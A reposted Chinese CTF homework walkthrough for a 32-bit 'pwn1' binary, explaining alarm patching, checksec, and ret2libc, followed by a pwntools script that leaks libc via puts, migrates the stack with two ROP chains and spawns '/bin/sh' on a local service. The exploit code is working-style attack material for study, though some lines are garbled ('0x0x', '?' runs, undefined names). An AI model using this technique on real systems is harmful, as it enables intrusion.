Pwn_9 作业讲解
pwn1
針對Alarm clock進行處理
- 修改程序的16進制數值
- Hook函數
將alarm函數替換掉
在linux下使用命令 sed -i s/alarm/isnan/g ./pwn1
檢查保護機制
checksec --file ./pwn1
NX 數據保護權限 可寫的不可執行
查看編譯
file ./pwn1
./pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5243dd9fb1db881e7845015ab0b1d643857ba43b, stripped
動態編譯
確定使用return to library
- 確定libc的基地址,通過puts函數打印.got.plt地址中的值,輸出實際地址 libc_base =? address – offset
- 調用libc中的system函數 構造getshell
- 一個Rop是無法完成的,所以需要兩個rop,第一個rop泄露基地址,第二個rop構造getshell
小端置序
使用ipython Tab鍵自動補全
from pwn import *
p = ELF(‘./pwn’)
hex(p.symbols(‘puts’))
hex(p.got['__libc_start_main'])? #獲取.got.plt 地址
python –c ‘print “a”*100’ | nc localhost 4000
f661e540
笨方法找實際地址
tmp = r.recvline()
for i in range (len(tmp)):
??????? print? hex(u32(tmp[i:i+4]))
libc_base = u32(r.recvline()[71:75])- libc_start_off
pwn1 腳本 兩個Rop做stack migration
from pwn import *
r = remote('127.0.0.1',4000)
pwn = ELF('./pwn1')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
read = pwn1.symbols['read']
puts =? pwn.symbols['puts']
libc_start_main_got_plt = pwn.got['__libc_start_main']? #0x0x804a020
libc_start_offset = libc.symbols['__libc_start_main']
leave_ret = 0x0x080484b8
pop_ebp_ret = 0x0804865f
pop3_ret = 0x0804865d
buf = 0x0804b000 - 100
buf1 = 0x0804b000 - 500
rop1 = [
???? puts,
???? pop_ebp_ret,
???? libc_start_main_got_plt,
???? read,
???? pop3_ret,
???? 0,
???? buf,
???? 50,
???? pop_ebp_ret,
???? buf-4,
???? leave_ret
]
r.sendline('a'*140+flat(rop1))
libc_base = 0xf661e540 - libc_start_offset
gets_off = libc.symbols['gets']
system_off = libc.symbols['system']
gets = libc_base + gets_off
system = libc_base + system_off
rop2 = [
???? gets,
???? system,
???? buf1,
???? buf1
]
r.sendline(flat(rop2))
sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()
轉載于:https://www.cnblogs.com/rookieDanny/p/8521595.html
總結
以上是生活随笔為你收集整理的Pwn_9 作业讲解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 仪征k35军人优待证可以用吗?
- 下一篇: HTML5移动端拖动惯性